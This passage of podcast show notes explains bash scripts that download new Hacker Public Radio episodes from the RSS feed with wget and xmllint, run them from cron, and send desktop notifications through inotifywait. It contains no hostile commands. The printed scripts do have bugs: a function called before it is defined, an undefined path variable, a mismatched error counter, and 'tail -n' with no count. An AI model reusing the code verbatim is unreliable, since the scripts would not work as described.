I will skip over the details of these, although I may make reference to them later.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
13 Get the RSS Data</p>

<p>

</p>

<p>
The first thing of real substance to do is to fetch the current RSS feed data.</p>

<p>
I have put this in a bash function called getrssurldata</p>

<p>

</p>

<p>
The contents of this function are a one liner, but with a number of elements chained together through pipes.</p>

<p>

</p>

<p>
14 Downloading the RSS XML Document</p>

<p>
• First we use wget, which is a standard command on most Linux distros.</p>

<p>
• We specify four things.</p>

<p>
• First we set a timeout. I have chosen 20 seconds.</p>

<p>
• Next we set the retry limit. I have chosen 3.</p>

<p>

</p>

<p>
15</p>

<p>
• Then we specify that the output of wget is sent to stdout rather than saved as a file.</p>

<p>
• This is done by using the -O option followed by a space and then a dash.</p>

<p>
• The O option is usually used to specify a file to save the output to, but when used with a dash causes output to go to stdout.</p>

<p>
• Then we specify the URL of the HPR RSS feed.</p>

<p>

</p>

<p>
16 Contents of the XML Document</p>

<p>
This gives us the HPR RSS XML document. </p>

<p>
There are about 5,000 lines in this RSS document.</p>

<p>
Most of those lines are the show notes which are also included in the feed.</p>

<p>

</p>

<p>
17 Extracting the Podcast Episode URLs</p>

<p>
There are only 10 lines of the document that contain information that we are interested in however.</p>

<p>
These lines are enclosed in "enclosure" XML tags. </p>

<p>
We just need to find those lines and separate out the URLs</p>

<p>

</p>

<p>
18 Standard Command Line Tools</p>

<p>
There are two ways that we can do this.</p>

<p>
One is to use a combination of grep, sed, and cut.</p>

<p>
Grep can find the lines containing the enclosure tags.</p>

<p>
Sed and cut can extract the URL from the surrounding extraneous data. </p>

<p>

</p>

<p>
19</p>

<p>
However, this method does not discriminate between real enclosure tags in the data portion of the RSS feed and enclosure tags in the show notes which are included in the feed from episodes such as this one.</p>

<p>
This may be an acceptable problem in practical terms, but we can do better.</p>

<p>

</p>

<p>
20 Using an XML Parser</p>

<p>
The other method is to actually parse the XML document.</p>

<p>
there are at least two command line XML parsers that I am aware of.</p>

<p>
These are "xmllint", and "xlmstarlet".</p>

<p>
I have used xmllint in this example.</p>

<p>
I have not used xmlstarlet, so I can't offer any comment on how easy or difficult to use it is.</p>

<p>

</p>

<p>
21</p>

<p>
I won't give a detailed explanation of all the things that xmllint can do.</p>

<p>
It has many features, most of which, as the name suggests, have to do with finding formatting problems with the XML itself.</p>

<p>
Describing everything it can do would be at least one episode in itself. </p>

<p>
I will instead just give the particular command used and explain each element of it.</p>

<p>

</p>

<p>
22</p>

<p>
In this example assume that we are piping the output of wget directly into xmllint.</p>

<p>
The complete command is</p>

<p>

</p>

<p>
xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2</p>

<p>

</p>

<p>
23</p>

<p>
In this example,</p>

<p>
xmllint is the name of the command.</p>

<p>
--xpath tells it to parse the document according to the string which follows.</p>

<p>
"//channel/item/enclosure/@url" tells it to find a series of tags in the hierarchy of channel, followed by item, followed by enclosure, and then extract the url attribute from the enclosure tag.</p>

<p>
The "-" which follows tells it to look for input from stdin rather than from a file.</p>

<p>

</p>

<p>
24</p>

<p>
The result is a string which has the url attribute name, an equal sign, and the URL that we want enclosed in quotes.</p>

<p>
To get just the URL itself, we pipe the output from xmllint into cut, using the doublequote characters as delimiters.</p>

<p>
We then save the result in a temporary file.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
25 Finding the New Episodes</p>

<p>

</p>

<p>
Next we wish to find the new podcast episodes.</p>

<p>
Each HPR episode is identified by a unique URL.</p>

<p>
This means that if we save the URLs of episodes that we have already downloaded, we just have to look for the URLs that do not appear in this saved list.</p>

<p>

</p>

<p>
https://hub.hackerpublicradio.org/ccdn.php?filename=/eps/hpr4659/hpr4659.mp3</p>

<p>

</p>

<p>
26</p>

<p>
The easiest way to do this is to take our two lists of URLs, sort each into temporary files, and then compare the sorted URLs using the "comm" command.</p>

<p>

</p>

<p>
27</p>

<p>
This is simple, but has a drawback.</p>

<p>
Some podcasts occasionally change distributors.</p>

<p>
When they do this, the old podcasts are re-published with new URLs and you end up downloading a lot of old episodes over again.</p>

<p>

</p>

<p>
28</p>

<p>
With HPR we could get around this by extracting just the file name and looking for that instead of the full URL.</p>

<p>

</p>

<p>
I will however leave that problem as an exercise for the student and just accept that if the URL format changes we may end up downloading old episodes over again.</p>

<p>
Since the feed has a maximum of only 10 episodes in it however, that isn't really that big of a problem.</p>

<p>
It would be more of a problem with podcasts which have very large numbers of episodes in their feed, but the solutions to those will be feed specific. </p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
29 Downloading the New Podcasts</p>

<p>

</p>

<p>
We should now have a list of URLs for the new podcasts we do not already have. </p>

<p>
Typically this should be only one file, but there could be several, or even as many as 10, if we have not turned on our computer in a while.</p>

<p>

</p>

<p>
Therefore, we need to iterate through the file of new podcast URLs and download each one.</p>

<p>

</p>

<p>
30</p>

<p>
Before we do that however, we should check to see if there is in fact anything new to download.</p>

<p>
To do this, simply use "wc -l" to count the number of lines in the list of new URLs and save the resulting number.</p>

<p>

</p>

<p>
31</p>

<p>
If this number is zero, there is nothing to download, we can skip the download step. </p>

<p>
As an additional check, we should see if the number of downloads exceeds some threshold value that we wish to set.</p>

<p>
This is not a major problem with HPR, but some podcasts have hundreds of files in their RSS feed rather than just the most recent ones.</p>

<p>
If we do exceed our download limit, then we need to log an error and skip downloading. </p>

<p>

</p>

<p>
32</p>

<p>
Assuming there are no problems so far however, the first thing we need to do is to extract the name of the audio file from the URL.</p>

<p>
We can do that using the "basename" command.</p>

<p>
We will use this to specify the name that we use when we save the audio file. </p>

<p>

</p>

<p>
33</p>

<p>
HPR has a very well formed file name. </p>

<p>
Some podcasts do not however, and for those you would need to construct some sort of suitable name either using information found in the URL or simply creating a name using a time stamp. </p>

<p>

</p>

<p>
34</p>

<p>
Next we download the audio file using wget.</p>

<p>

</p>

<p>
This is similar to how we downloaded the RSS feed, but with a few changes.</p>

<p>
One is that I have increased the timeout to 90 seconds. </p>

<p>
This may not have been necessary, but seemed like a good idea.</p>

<p>

</p>

<p>
35</p>

<p>
The next is that when specifying the output file name using -O, we use the file name we extracted from the URL.</p>

<p>

</p>

<p>
The third is that we specify a destination directory using the -P option. </p>

<p>

</p>

<p>
36</p>

<p>
After wget has finished, including any retries that it had to do, we next check that the expected new file is both present and not empty.</p>

<p>
We did this using an "if" statement with the "-s" option.</p>

<p>

</p>

<p>
If the file was found and not zero, then we add that URL to a temporary list of downloaded URLs.</p>

<p>

</p>

<p>
37</p>

<p>
If the file was not present, or was zero length, we output an error message to an error log. </p>

<p>
I will come back to this point later.</p>

<p>

</p>

<p>
38</p>

<p>
Next, if there is more that one podcast to download we sleep for 3 seconds. </p>

<p>
While not strictly necessary, it is considered to be "polite" to not hammer a server repeatedly, but rather to put a small delay between file downloads..</p>

<p>

</p>

<p>
39</p>

<p>
After we have downloaded all the audio files in our list, we can add the list of URLs for the files downloaded to the permanent list.</p>

<p>
While we are at it, we should use "tail" to trim the permanent log to keep it from growing indefinitely.</p>

<p>
This limit should be several times bigger than the number of files in the RSS feed. </p>

<p>
In this case I selected 50. </p>

<p>

</p>

<p>
40</p>

<p>
Finally we write any errors to the permanent error log, and also write these same errors to another file used to signal errors for display to the user.</p>

<p>

</p>

<p>
We have now successfully downloaded at least one HPR podcast.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
41 Notify the User of Events</p>

<p>

</p>

<p>
It would be convenient to be informed of new podcast downloads when they occur, and also be notified of any errors.</p>

<p>

</p>

<p>
One of the limitations of cron jobs is that they cannot access the user interface.</p>

<p>
This means that we cannot readily send a message directly to the notification system to inform the user of the presence of new podcasts or of errors.</p>

<p>

</p>

<p>
42 inotifywait</p>

<p>
The solution to this is to use "inotifywait" to monitor particular files and directories for changes.</p>

<p>

</p>

<p>
The man page for inotifywait states the following - </p>

<p>

</p>

<p>
43</p>

<p>
inotifywait  efficiently  waits for changes to files using Linux's inotify(7) interface.  It is suitable for waiting  for  changes  to  files from  shell  scripts.  It can either exit once an event occurs, or continually execute and output events as they occur.</p>

<p>

</p>

<p>
End of quote.</p>

<p>

</p>

<p>
44</p>

<p>
In many Linux distros, inotifywait is provided by the "inotify-tools" package.</p>

<p>

</p>

<p>
I won't go over all the features of inotifywait. </p>

<p>
Instead, I will just describe how to use it for our purposes here.</p>

<p>

</p>

<p>
45 inotifywait Modes</p>

<p>

</p>

<p>
I should point out first though that inotifywait operates in two different modes.</p>

<p>
In the normal default mode, it exits after being triggered by an event and must be re-established again in order to resume monitoring.</p>

<p>
In monitor mode, which is enabled by using the "-m" option, it runs indefinitely, responding to events.</p>

<p>
I will use the default mode here.</p>

<p>

</p>

<p>
46</p>

<p>
The man page for inotifywait provides a simple example that we could copy and modify for our purposes.</p>

<p>
A great many examples that you  will find are based on this example.</p>

<p>
However, it doesn't quite do what we want, so we need to change a few things.</p>

<p>

</p>

<p>
47 podfetchnotify</p>

<p>
The first shell script is one which monitors for the arrival of new podcasts and sends a notification to the user.</p>

<p>
I will call this "podfetchnotify".</p>

<p>
The complete scripts are in the show notes, I will just provide a brief description here.</p>

<p>

</p>

<p>
48 Setting Up Event Watches Using  inotifywait</p>

<p>
The script is enclosed in a while loop which run indefinitely.</p>

<p>
In the first line inside the while loop, we call inotifywait.</p>

<p>
inotifywait will then block until the event it is told to look for occurs.</p>

<p>
In short, execution of the script will wait there until an event occurs.</p>

<p>

</p>

<p>
49</p>

<p>
The names of the events are listed in the man file.</p>

<p>
In this case we are looking for "modify", "create", and "moved_to".</p>

<p>
Each of these does pretty much as you would expect, reacting to modifying an existing file, creating a new file, or moving a file to that directory.</p>

<p>

</p>

<p>
50 Problems When Testing Using Text Editors</p>

<p>
I should point out that if you are testing a script which uses inotifywait, then modifying a file with a text editor may not produce the results that you may think it would. </p>

<p>
Instead it treats this as a new file with the same name, with the original file being erased.</p>

<p>
Since inotifywait attaches itself to the inode rather than the filename, it sees the file that the text editor changed as being a new file.</p>

<p>
If you wish to test this realistically, then use "echo" to overwrite the file by using I/O redirection.</p>

<p>

</p>

<p>
51 Capturing Output</p>

<p>
In my example I capture the output from standard out into a variable, but I don't do anything with it.</p>

<p>
If you wish to for example display the name of the newly downloaded podcast file, then use the --format option along with an appropriate formatting code. </p>

<p>
There are details about this in the man page.</p>

<p>

</p>

<p>
On the next line we capture the exit code using "$?"</p>

<p>

</p>

<p>
52 Responding to Exit Codes</p>

<p>
If the exit code was zero, then a monitored event was triggered and there should a new podcast in the directory.</p>

<p>
In this case we display a message indicating that a new podcast has arrived.</p>

<p>
I will describe how to send notifications shortly. </p>

<p>

</p>

<p>
If the exit code was not zero, then an error occurred.</p>

<p>
An example of such an error would be if the directory were not present when monitoring was started.</p>

<p>
In this case we display a message indicating that a fatal error has occurred and then exit.</p>

<p>

</p>

<p>
53 Delay for More Podcasts</p>

<p>
Finally, we use "sleep" to wait for some arbitrary period of time to prevent notifications from being triggered multiple times if several podcasts were being downloaded in succession.</p>

<p>
In this case I chose to wait for 60 seconds.</p>

<p>

</p>

<p>
54</p>

<p>
We have now completed the process and can return to the top of the loop and resume waiting using inotifywait.</p>

<p>

</p>

<p>
55 Sending Notifications to the User</p>

<p>
I mentioned above about sending notification messages to the user.</p>

<p>
In the Gnome desktop, notification messages appear from the centre of the top bar in a list.</p>

<p>
Other desktops or operating systems may have something similar.</p>

<p>

</p>

<p>
56</p>

<p>
To send a notification message to the notification area, you use the "notify-send" command.</p>

<p>
Simply follow notify-send with a quoted string and it will be displayed in the notification area. </p>

<p>

</p>

<p>

</p>

<p>
57 podfetcherrornotify</p>

<p>
The second shell script is one which notifies the user of errors.</p>

<p>
I will call this "podfetcherrornotify".</p>

<p>
With this shell script we set up a watch on a file which contains any error messages from podfetch.</p>

<p>
This script is very similar to podfetchnotify.</p>

<p>

</p>

<p>
58</p>

<p>
The exceptions are</p>

<p>
With inotifywait we only monitor for "modify".</p>

<p>
There is no sleep command at the end of the loop.</p>

<p>
Instead we sleep for a few seconds just after getting the exit code from inotifywait.</p>

<p>
This helps prevent problems caused by race conditions.</p>

<p>

</p>

<p>
59</p>

<p>
Next we check the inotifywait exit code.</p>

<p>
If it was zero, then we read the error report file and send a notification message to the user containing that error message.</p>

<p>

</p>

<p>
60</p>

<p>
If it was not zero, then we check to make sure that the directory that should contain the error log exists.</p>

<p>
If it does not exist, then we send a notification message to that effect to the user and terminate the script.</p>

<p>

</p>

<p>
61</p>

<p>
If the directory exists, then we check to see if the error message file used for signalling exists.</p>

<p>
If the file does not exist, then we create it.</p>

<p>

</p>

<p>
62</p>

<p>
One of the reasons for an inotifywait error is that if the file that it is told to monitor does not exist, it cannot set up a watch condition.</p>

<p>
By creating the file we correct the cause of the error and allow  inotifywait to operate normally.</p>

<p>

</p>

<p>
63</p>

<p>
Finally we increment an error counter and check to see if the limit is exceeded.</p>

<p>
If there are excessive errors, then send a notification message to the user and exit.</p>

<p>
The reason for this is to give the user an indication that the error notifications are not working for some reason and there may be a problem that needs looking into.</p>

<p>

</p>

<p>
64</p>

<p>
The error counter is reset every time the inotifywait exit status is ok, so occasional unexpected glitches should be something that is ignored.</p>

<p>
Of course podcast fetching errors are something that will probably happen only rarely if at all, so this final step may be seen as an unnecessary embellishment. </p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
65 Installing the Scripts</p>

<p>

</p>

<p>
Next I will describe how to install and prepare the scripts to run.</p>

<p>
We need to perform the following steps.</p>

<p>

</p>

<p>
66</p>

<p>
• First, we need to create a directory to hold the scripts and their associated data files.</p>

<p>
• Next we need to create a directory to hold the downloaded podcasts.</p>

<p>
• Then we must copy the scripts to these directories and make them executable. </p>

<p>
• Then, we must edit the scripts to have the file path in the script match the locations of the new directories that we created.</p>

<p>

</p>

<p>
67</p>

<p>
• Then we need to install xmllint, or alternatively modify the download script to comment out the use of xmllint and enable the alternative method using grep and sed instead.</p>

<p>
• Then we need to run each script manually from the command line to check for errors.</p>

<p>
• If podfetch ran correctly, it should download the most recent 10 podcasts during this test.</p>

<p>

</p>

<p>
68 Adding podfetch to the Crontab</p>

<p>
The above describes how to run the scripts manually.</p>

<p>
In order to fetch podcasts automatically, we need to add the podfetch script to the cron schedule.</p>

<p>
To do this, open a terminal.</p>

<p>

</p>

<p>
69</p>

<p>
Type "crontab -e", and then press return.</p>

<p>
A text editor should open up containing the crontab file.</p>

<p>
On Ubuntu, this editor is GNU nano.</p>

<p>
Enter the appropriate cron parameters.</p>

<p>
I will provide an example here for running it 12 minutes past the hour every three hours.</p>

<p>

</p>

<p>
70</p>

<p>
12 */3 * * *  /home/username/pathtofiles/podfetch.sh</p>

<p>

</p>

<p>
71</p>

<p>
I won't explain cron in detail here.</p>

<p>
The example that I have just given should be good enough for most people.</p>

<p>
The "*/3" parameter will cause it to run every three hours.</p>

<p>
The "12" parameter will cause it to run 12 minutes past the hour when it does run.</p>

<p>

</p>

<p>
72</p>

<p>
Checking every three hours should be good enough for most people, but you can adjust that as you see fit.</p>

<p>
I would recommend however that you don't check more frequently than once per hour.</p>

<p>
Checking more frequently than necessary puts extra load on the distribution servers. </p>

<p>
It is very unlikely that you really do need each new episode the moment it is available. </p>

<p>

</p>

<p>
73</p>

<p>
I would also recommend changing the "12" parameter to some other random minute value.</p>

<p>
I would suggest avoiding on the hour or on the half hour, as a lot of other people are probably checking at those times, and it would be better to spread the load out more evenly over time.</p>

<p>

</p>

<p>
74</p>

<p>
The file path parameter should of course match the actual path to wherever you have located the script, including the correct user name.</p>

<p>

</p>

<p>
75 Making the Notification Scripts Start Automatically</p>

<p>
The two notification scripts can be made to start automatically.</p>

<p>
The exact method to do this may vary according to distribution or desktop.</p>

<p>

</p>

<p>
76</p>

<p>
On Ubuntu this is done using the Startup Applications Preferences GUI program, which should come already installed.</p>

<p>

</p>

<p>
77</p>

<p>
I won't go into details on this here, it should be fairly self evident how to use it once you see it.</p>

<p>
What this program does is to create ".desktop" files in the ".config/autostart" directory in your home directory.</p>

<p>

</p>

<p>
78</p>

<p>
These ".desktop" files are all run automatically on start up.</p>

<p>
Once you have added the notification scripts, you will need to log out and then log back in to make them active.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
79 Conclusion</p>

<p>

</p>

<p>
I this episode I explained how to write a set of simple shell scripts to automatically download each new episode of HPR as it comes out and to notify you of its arrival. </p>

<p>

</p>

<p>
80</p>

<p>
The download script described here is tailored specifically for use with HPR only.</p>

<p>
However, it was derived from a larger script that downloaded other podcasts as well, based on information read in from a text file.</p>

<p>
If you are feeling ambitious, you can add those features back into this to handle all of the podcasts that you listen to.</p>

<p>

</p>

<p>
81</p>

<p>
In a comment to another episode of HPR I had said that I would cover ID3 tags in MP3 files, but this episode is long enough now, so I will leave that subject for later.</p>

<p>

</p>

<p>
I look forward to seeing you again later on another episode of Hack Public Radio.</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
podfetchdownloader</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Fetch pending HPR podcasts listed in the HPR RSS feed.</p>

<p>
# 8-Jun-2026</p>

<p>
# Licensed under GPLv3 or later.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>

<p>
# Today's date and time as YYYYMMDDHHMMSS. </p>

<p>
podttimestamp=$( date +"%Y%m%d%H%M%S" )</p>

<p>

</p>

<p>
# The absolute path to the script. This is necessary when running it</p>

<p>
# using a cron job.</p>

<p>
podpath="/home/me/Apps/hprfetch"</p>

<p>

</p>

<p>
# This is the absolute path to where to store the podcast files.</p>

<p>
podfilepath="/home/me/Music/Podcasts/HPR"</p>

<p>

</p>

<p>
# Create the full path names here for all the text files used.</p>

<p>
podcastsfetched="$podpath/podcastsfetched.txt"</p>

<p>
poderrorslog="$podpath/poderrorslog.txt"</p>

<p>
poderrorsreport="$podpath/poderrorsreport.txt"</p>

<p>

</p>

<p>
tmpoldurlssorted="$podpath/tmpoldurlssorted.txt"</p>

<p>
tmppodsnew="$podpath/tmppodsnew.txt" </p>

<p>
tmppodstodownload="$podpath/tmppodstodownload.txt" </p>

<p>
tmppodserrors="$podpath/tmppodserrors.txt" </p>

<p>
tmppodcastsfetched="$podpath/tmppodcastsfetched.txt"</p>

<p>
tmplog="$podpath/tmplog.txt"</p>

<p>

</p>

<p>
# The URL for the HPR RSS feed.</p>

<p>
PodURL="http://hackerpublicradio.org/hpr_rss.php"</p>

<p>

</p>

<p>
# Limit on number of podcasts to download.</p>

<p>
DownloadLimit=11</p>

<p>

</p>

<p>
# Name of the podcast.</p>

<p>
PodName="Hacker Public Radio"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Check if the required paths exist.</p>

<p>
# If this path does not exist, cannot log the error.</p>

<p>
if [[ ! -d "$podpath/" ]]; then</p>

<p>
	echo "$podttimestamp Error - Could not find $podfilepath."</p>

<p>
	exit 1</p>

<p>
fi</p>

<p>

</p>

<p>
# Where to store the podcast file fetched.</p>

<p>
if [[ ! -d "$podfilepath/" ]]; then</p>

<p>
	echo "$podttimestamp Error - Could not find $podfilepath." &gt;&gt; $tmppodserrors</p>

<p>
	# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
	LogErrors</p>

<p>
	exit 1</p>

<p>
fi</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Check if the podcast log exists. We read it before we write to it,</p>

<p>
# so it must exist or we will hang on it not being present.</p>

<p>
if [[ ! -e $podcastsfetched ]]; then</p>

<p>
	touch $podcastsfetched</p>

<p>
fi</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Delete the specified files if they exist.</p>

<p>
# This accepts multiple file names in a variable number of parameters.</p>

<p>
CleanupFiles ()</p>

<p>
{</p>

<p>
	# $@ accepts multiple parameters.</p>

<p>
	for f in "$@"; do</p>

<p>
		# Check if the file exists.</p>

<p>
		if [ -e "$f" ]; then</p>

<p>
			rm "$f"</p>

<p>
		fi</p>

<p>
	done</p>

<p>
}</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
LogErrors () {</p>

<p>
	if [ -e $tmppodserrors ]; then</p>

<p>
		# The permanent log.</p>

<p>
		cat $tmppodserrors &gt;&gt; $poderrorslog</p>

<p>
		# This file is monitored for display by other scripts.</p>

<p>
		cat $tmppodserrors &gt; $poderrorsreport</p>

<p>
	fi</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>

<p>
# Get the URL data from an RSS feed</p>

<p>
GetRSSURLData () {</p>

<p>

</p>

<p>
	wget --timeout=20 --tries=3 -O - "$PodURL" \</p>

<p>
	| xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2 \</p>

<p>
	| sort &gt; $tmppodsnew</p>

<p>

</p>

<p>
	# This is an alternate method that does not use xmllint.</p>

<p>
	# However, it is not as robust. If someone were to include the</p>

<p>
	# first grep search pattern in their show notes, then it would</p>

<p>
	# look for that as a valid tag and output the following text</p>

<p>
	# as a URL.</p>

<p>
	#wget --timeout=20 --tries=3 -O - "$PodURL" | grep "&lt;enclosure url=" \</p>

<p>
	#	| sed -n 's/^.*enclosure//p' | sed -n 's/^.*url=//p' \</p>

<p>
	#	| cut -d'"' -f2 | sort &gt; $tmppodsnew</p>

<p>

</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Find which podcasts we do not already have.</p>

<p>
FindNewPodcasts () {</p>

<p>

</p>

<p>

</p>

<p>
	cat $podcastsfetched | sort &gt; $tmpoldurlssorted</p>

<p>
	comm -13 $tmpoldurlssorted $tmppodsnew &gt; $tmppodstodownload</p>

<p>

</p>

<p>
	rm $tmpoldurlssorted</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Download the podcasts.</p>

<p>
DownloadPodcasts() {</p>

<p>

</p>

<p>
	# Clear out previous temporary list of downloaded podcasts.</p>

<p>
	true &gt; $tmppodcastsfetched</p>

<p>

</p>

<p>

</p>

<p>
	for i in $( cat $tmppodstodownload )</p>

<p>
	do</p>

<p>

</p>

<p>
		# Extract the file name from the URL.</p>

<p>
		fname=$( basename $i )</p>

<p>
		outputpodname="$podfilepath/$fname"</p>

<p>

</p>

<p>
		# Download the file.</p>

<p>
		wget --timeout=90 --tries=3 -P $podfilepath $i -O "$outputpodname"</p>

<p>

</p>

<p>
		# Check if the file exists and is not empty.</p>

<p>
		if [[ -s "$outputpodname" ]]; then</p>

<p>
			echo $i &gt;&gt; $tmppodcastsfetched</p>

<p>
		else</p>

<p>
			echo "$podttimestamp Error - $outputpodname was not found or is empty." &gt;&gt; $tmppodserrors</p>

<p>
		fi</p>

<p>

</p>

<p>

</p>

<p>
		# Delay a reasonable length of time between multiple downloads.</p>

<p>
		if (( $PodCount &gt; 1 )); then </p>

<p>
			sleep 3</p>

<p>
		fi</p>

<p>

</p>

<p>
	done</p>

<p>

</p>

<p>
	# Add the list of files downloaded to the log.</p>

<p>
	# Check if the list exists and is not empty.</p>

<p>
	if [ -s $tmppodcastsfetched ]; then</p>

<p>
		cat $tmppodcastsfetched &gt;&gt; $podcastsfetched</p>

<p>
		# Trim the log file to keep it from growing indefinitely.</p>

<p>
		tail -n50 $podcastsfetched &gt; $tmplog</p>

<p>
		mv $tmplog $podcastsfetched</p>

<p>
	fi</p>

<p>

</p>

<p>
	# Remove the tmp file now that we are done with it.</p>

<p>
	rm $tmppodcastsfetched</p>

<p>

</p>

<p>
}</p>

<p>

</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Clean up any left over files.</p>

<p>
CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"</p>

<p>

</p>

<p>

</p>

<p>
# Get the RSS data.</p>

<p>
GetRSSURLData</p>

<p>

</p>

<p>
# Find which podcasts are new.</p>

<p>
FindNewPodcasts</p>

<p>

</p>

<p>
# Count how many new podcasts there are.</p>

<p>
PodCount=$( cat $tmppodstodownload | wc -l )</p>

<p>

</p>

<p>

</p>

<p>
# If no podcasts to download, skip this.</p>

<p>
# If too many podcasts for this feed, then log an error and skip.</p>

<p>
# This error will keep repeating until something is done about it.</p>

<p>
if (( $PodCount &gt; 0 )); then </p>

<p>
	if (( $PodCount &gt; $DownloadLimit )); then </p>

<p>
		echo "$podttimestamp Too many podcasts for $PodName : $PodCount." &gt;&gt; $tmppodserrors		</p>

<p>
	else</p>

<p>
		# Download the podcasts listed in the temp file.</p>

<p>
		DownloadPodcasts</p>

<p>
	fi</p>

<p>
fi</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Copy the errors log from the temporary errors file to the permanent files.</p>

<p>
LogErrors</p>

<p>

</p>

<p>
# Clean up temp files.</p>

<p>
CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
END OF FIRST SHELL SCRIPT</p>

<p>

</p>

<p>

</p>

<p>
START OF SECOND SHELL SCRIPT</p>

<p>

</p>

<p>
podfetchnotify</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Part of Podfetch.</p>

<p>
# This monitors for new files appearing in the new podcasts directory.</p>

<p>
# This should be run as a background task.</p>

<p>
# Install it using the "Startup Applications" utility in Ubuntu.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Path where new podcasts are to be stored.</p>

<p>
podfilepath="/home/me/Music/Podcasts/HPR"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Wait for the podcast directory to be modified.</p>

<p>
while true; do</p>

<p>

</p>

<p>
	# Check for new files.</p>

<p>
	errmsg=$( inotifywait -e modify -e create -e moved_to $podfilepath )</p>

<p>
	result=$?</p>

<p>

</p>

<p>

</p>

<p>
	# Check if exited due to new podcast, or if some error.</p>

<p>
	if (( result == 0 )); then</p>

<p>
		# Success, signal new podcast.</p>

<p>
		notify-send "New HPR podcast available."</p>

<p>
	else</p>

<p>
		# Check to make sure the directory exists.</p>

<p>
		# If it doesn't exist, there isn't much we can do to fix it.</p>

<p>
		if [ ! -e "$poderrorspath" ]; then</p>

<p>
			notify-send "Podfetch error: Podcast directory not found $poderrorspath"</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>
	fi</p>

<p>

</p>

<p>
	# Wait a bit so that multiple new files don't keep re-triggering the notification.</p>

<p>
	sleep 60</p>

<p>

</p>

<p>
done</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
END OF SECOND SHELL SCRIPT</p>

<p>

</p>

<p>

</p>

<p>
START OF THIRD SHELL SCRIPT</p>

<p>

</p>

<p>
podfetcherror</p>

<p>
Created Tuesday 23 June 2026</p>

<p>

</p>

<p>
#!/bin/bash</p>

<p>

</p>

<p>
# Part of Podfetch.</p>

<p>
# This monitors the Podfetch error reporting file for new errors.</p>

<p>
# This should be run as a background task.</p>

<p>
# Install it using the "Startup Applications" utility in Ubuntu.</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Where the Podfetch program error report file is located.</p>

<p>
poderrorspath="/home/me/Apps/hprfetch"</p>

<p>

</p>

<p>
# The full path and file name.</p>

<p>
poderrorsreport="$poderrorspath/poderrorsreport.txt"</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>
# Error counter.</p>

<p>
errcount=0</p>

<p>

</p>

<p>
# Wait for the poderrorsreport file to be modified.</p>

<p>
while true; do</p>

<p>

</p>

<p>
	errmsg=$( inotifywait -e modify $poderrorsreport )</p>

<p>
	result=$?</p>

<p>

</p>

<p>
	# Wait a bit to ensure that writing to the file is complete.</p>

<p>
	sleep 3</p>

<p>

</p>

<p>
	if (( result == 0 )); then</p>

<p>
		# Get the latest error message.</p>

<p>
		# Cut out the date stamp at the start of the line and take the rest.</p>

<p>
		poderr=$( tail -n $poderrorsreport | cut -d" " -f2- )</p>

<p>

</p>

<p>
		notify-send "Podfetch error: $poderr"</p>

<p>

</p>

<p>
		# Reset the error counter every time there is a successful result.</p>

<p>
		errcount=0</p>

<p>

</p>

<p>
	else</p>

<p>
		# Check to make sure the directory exists.</p>

<p>
		if [ ! -e "$poderrorspath" ]; then</p>

<p>
			notify-send "Podfetch error: error report path not found $poderrorspath"</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>

</p>

<p>
		# Check if the file we are trying to monitor exists.</p>

<p>
		# If not, then create an empty file for error signaling.</p>

<p>
		if [ ! -e "$poderrorsreport" ]; then</p>

<p>
			echo &gt; $poderrorsreport</p>

<p>
		fi</p>

<p>

</p>

<p>
		# Increment the error counter.</p>

<p>
		count=$(( count + 1 ))</p>

<p>
		if (( count &gt; 3 )); then</p>

<p>
			notify-send "Podfetch error: Excessive unknown errors, exiting."</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>

</p>

<p>
	fi</p>

<p>

</p>

<p>
done</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4688/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[iOS 27 Beta: Everything You Need to Know About Beta 4]]></title>
